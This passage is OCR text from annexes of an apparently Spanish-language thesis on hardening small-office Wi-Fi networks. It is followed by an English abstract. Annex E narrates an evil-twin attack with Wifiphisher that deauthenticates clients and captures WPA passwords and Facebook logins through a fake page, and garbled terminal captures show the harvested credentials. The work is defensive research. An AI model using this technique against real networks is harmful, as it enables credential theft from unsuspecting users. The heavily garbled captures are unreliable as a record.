
Seleccionar Archivo Seleccionar archiva | Mingdn archivo seleccionada

Actualizar Actualizar

Figura D15. Actualizacion del firmware en el AP (diagrama propio).
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Anexo E. Ataque a WPA con wifiphisher

En este anexo se describen los resultados obtenidos del ataque al protocolo WPA de clave
compartida con la herramienta Wifiphisher, dicho ataque se describe en los siguientes parrafos.
Se realiz6 un monitoreo de redes con el fin de ver las redes aledafias mediante la emision del
SSID, una vez que estas fueron identificadas se selecciono la red que se deseaba atacar. El ataque
consistié en desautenticar a los clientes para que éstos proporcionen de manera voluntaria sus
credenciales a un AP falso, el cual fue generado por la herramienta Wifiphiser. En la figura E1

se muestra la red que se ataco.

P

root@mag: ~/Escritorio/wifiphisher
Archivo Editar Ver Buscar Terminal Ayuda
Wifiphisher 1.3GIT

ESSID: INFINITUM584d
Channel: 11

AP interface: wlan®

Figura E1. Red atacada con la herramienta wifiphiser a partir de la emision del SSID (diagrama propio).

En la figura E2 se muestra el momento en el que el cliente intenta autenticarse a un AP falso y

lo invita a proporcionar sus credenciales mediante una pagina web.

La pagina
"connectivitycheck.gstatic.com"” di...
NNhe Wi-Fi network "INFINITUMS84d" requires a
WPA password
Cancelar Aceptar

Figura E2. Peticion de credenciales para autenticarse a la WLAN (diagrama propio).

Una vez que el usuario ha proporcionado sus credenciales, el atacante obtiene de manera

inmediata la contrasefia de dicha red como se muestra en la figura E3.

request
request
request
request
reniinst
request

from
from
from
from

from

for
for
for

WA for

http:
http:

http
http

//connectivitycheck.gstatic.com/genera
//connectivitycheck.gstatic.com/genera

1//clients3.google.com/generate 204cale
://h.fb.com/7¢cid=256002347743983&1ocale

25690 7743983&1ocale

with wiphshr-wpa-password«=3939333138

Figura E3. Obtencion de contrasefia con Wifiphisher (diagrama propio).
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Como se observa en la figura E3 la contrasefia que se obtuvo no es robusta, motivo por el cual
se realizd un ataque més a la WLAN considerando una contrasefia mas robusta compuesta por
una combinacion de letras y nimeros; no obstante, las credenciales se volvieron a obtener como

se muestra en la figura E4.

recent call last):
[*] request from 10.0.6.62 for / scodevida.co
[*] request from 10.0.0.62 for ht 9.0.0.1, srate 204="POST', uri='/app.gif', ver
[*] request from 10.0.0.62 for http onts3 C enerate 204fiphisher/common
(*] 2
[*]

‘

request from 10.0.0.62 for
I request from 10.0.0.62 with wfpisnr-wpa [ 1dj5, 0 url unescapel6s18
return unicode type(unquote(utf8(value)), i 21 9yNnQALTMGBz1iznmHGt 1gGwA
UnicodeDecodeError: 'utf8' codec can't decode byte © position 1: invalid start byte
File "/usr/lib/python2.7/dist-packages/tornado/web.py", line 1467, in execute

Figura E4. Obtencion de contrasefia con seguridad WPA (diagrama propio).

En el tercer ataque se obtuvo una contrasefia con una combinacion de numeros, letras y
caracteres especiales y como se esperaba las contrasefias fueron obtenidas ya que el usuario

inconscientemente las ingreso. En la figura E5 se muestra la contrasefia obtenida.

noiuV M avkUo HQ 158
1497253223 8c: ob c6: 5f Sf fe 10.0.0.78 HUAWEI GW ‘Wlasz]klZeOBkPlrWJJ~3Nn1C25V8
1497268817 30:a8:db:43:34:el 10.0.0.62 android-6c27a27d909bc93d *X8r+saaMYyXh9kY
SJY/KyBKidNIfpyo2XrwPeTckNOKSIKy9Kzcd9QIMWj6tSXHec=", 'Content-Type': 'gzip'})
Traceback (most recent call last):

b/python2.7/dist-packages/tornado/web.py", line 1467 in execute

[*] request from 10.0.0.62 for http://clients3. (]()()()l( com/generate 204
[*] request from 10.0.0.62 for http://clients3.google. (Unchnrvulv 204fiphi
[*] request from 10.0.0.62 for http:
[*]) request from 10.0.0.62 for http://1A.2 srale
[*) request from 10.0.0.62 with wfphshr-wpa- words=/*111y01&dj22-/ trl un
escape

return unicode type(unquote(utf8(value)), encoding)
UnicodeDecodeError: 'utf8' codec can't decode byte O0x8b in position 1: invalid s
tart byte

Figura E5. Obtencion de contrasefia robusta con la herramienta Wifiphisher de sequridad WPA (diagrama propio).

Una vez dentro de la WLAN, con esta misma herramienta también se pudieron obtener las
credenciales de autenticacidn para entrar a Facebook (correo electronico y contrasefia) una de

las redes sociales mas populares, en la figura E6 se muestran los resultados de dicho ataque.

8:92n3mMQ+2Th2w00t8drALHDms/J0ebryRUeAXm13CyqZZa3dwaX GHntbPvwghyDZ52wDSLU37RwyE
SGDtyTUGdpQ368itfIUz8CCOZvIyHaNuuw/nj18)3+alkyEhM=", 'Content-Type': 'gzip'})
Traceback (most recent call last):
b/python2.7/dist-packages/tornado/web.py"”, line 1467, in execute
request from 10.0.06.62 for http://10.0.0.1/generate 204
request from 10.0.0.62 for http://10.0.0.1/¢ rate 204y2.7.eqg/wifiphi

tfSpnOgilSFdUfaCWcynf xiixGlc.ttfpe(self.request.body)
request from 10.0.0.62 for http://fonts.gstatic.com/s/roboto/v15/zN7GBF
6AROHCoLQ. tt
lequest frnm 10.0.0.62 with wfphshr- Y@hotmail.combwf
.codec can't decode byte vaou in position 1: invalid s

‘]
%3
5] I request from 10.0 2 for http://fonts.gstatic.com/s/roboto/v15/Hgol3k
‘
‘]

Figura E6. Obtencion de credenciales de Facebook con la herramienta wifiphisher (diagrama propio).
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ABSTRACT
Wireless local area networks (WLAN) become very popular SINCE 2000 because they offer

connectivity without the need for a physical guided transmission medium, making it easier for
most users to use different devices to connect to the Internet. However, this wireless connectivity

sacrifices security of the network, compromising it by different malicious attacks.

To fill this security gap in a WLAN, different protocols were developed. WEP was the first
security protocol, however, it is the most vulnerable protocol for this kind of networks, but it
established the foundations for developing more robust protocols. WEP was replaced in 2003
by WPA wich evolved into WPA2 in 2004. Although WPAZ2 is the most robust protocol, IT is
susceptible to passive attacks and denial-of-service attacks. Last october 2017 a security

vulnerability was discovered.

This work is focused on identifying vulnerabilities when accessing a WLAN infrastructure in a
small office or home office environment (SOHO) and mitigating them through the

implementation of hardening, it means a set of activities that strengthen security.

Results show a SOHO environment WLAN was strengthened with the proposed hardening
procedures; however, it is worth mentioning a wireless network, whether a SOHO or an
enterprise environment, it will not be completely protected, due to technology is constantly

evolving as new ways for attacks a paper.
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